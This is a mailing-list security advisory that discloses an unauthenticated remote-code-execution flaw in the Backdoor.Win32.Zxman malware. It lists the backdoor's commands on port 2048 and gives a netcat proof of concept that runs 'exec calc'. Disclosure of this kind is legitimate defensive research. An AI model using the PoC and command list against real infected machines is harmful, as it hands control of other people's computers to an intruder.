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Date: Tue, 1 Feb 2022 23:02:20 -0500
From: malvuln <malvuln13@...il.com>
To: fulldisclosure@...lists.org
Subject: [FD] Backdoor.Win32.Zxman / Unauthenticated Remote Code Execution

Discovery / credits: Malvuln - malvuln.com (c) 2022
Original source:
https://malvuln.com/advisory/e369bbd8acbe8322834e3adbad30ff5c.txt
Contact: malvuln13@...il.com
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zxman
Vulnerability: Unauthenticated Remote Code Execution
Description: The malware by "Zx-man" listens on TCP port 2048. Third-party
attackers who can reach an infected system can run commands made available
by the backdoor.

Commands List.

* ? or HELP - View this screen
* Exec FILE_NAME,COMMAND_LINE - Execute program or file
* Copy FILE_NAME_1,FILE_NAME_2 - Copies FILE_NAME_1 to FILE_NAME_2
* Move FILE_NAME_1,FILE_NAME_2 - Moves FILE_NAME_1 to FILE_NAME_2
* Rename FILE_NAME_1,FILE_NAME_2 - Renames FILE_NAME_1 to FILE_NAME_2
* Del FILE_NAME - Deletes a file
* View FILE_NAME - Viewes a file
* Autorun FILE_NAME - Add program to the autorun list
* Dir DIRECTORY - List DIRECTORY's files and subdirs
* Msg MESSAGE - Show a message
* Mouse [ON/OFF] - Turns mouse ON / OFF
* Reboot - Reboots the computer
* TurnOff [QUICK] - Turns off the computer
* Exit - Exit!!!

Type: PE32
MD5: e369bbd8acbe8322834e3adbad30ff5c
Vuln ID: MVID-2022-0478
Disclosure: 02/01/2022

Exploit/PoC:
nc64.exe x.x.x.x 2048
Welcome to REMOTE_CONTROL_SYSTEM by Zx-man (zx-man@....net)
--------------------------------------------------------------------------------
Type ''?'' for HELP!
>exec calc
exec calc

Disclaimer: The information contained within this advisory is supplied
"as-is" with no warranties or guarantees of fitness of use or otherwise.
Permission is hereby granted for the redistribution of this advisory,
provided that it is not altered except by reformatting it, and that due
credit is given. Permission is explicitly given for insertion in
vulnerability databases and similar, provided that due credit is given to
the author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility for any damage caused by the
use or misuse of this information. The author prohibits any malicious use
of security related information or exploits by the author or elsewhere. Do
not attempt to download Malware samples. The author of this website takes
no responsibility for any kind of damages occurring from improper Malware
handling or the downloading of ANY Malware mentioned on this website or
elsewhere. All content Copyright (c) Malvuln.com (TM).

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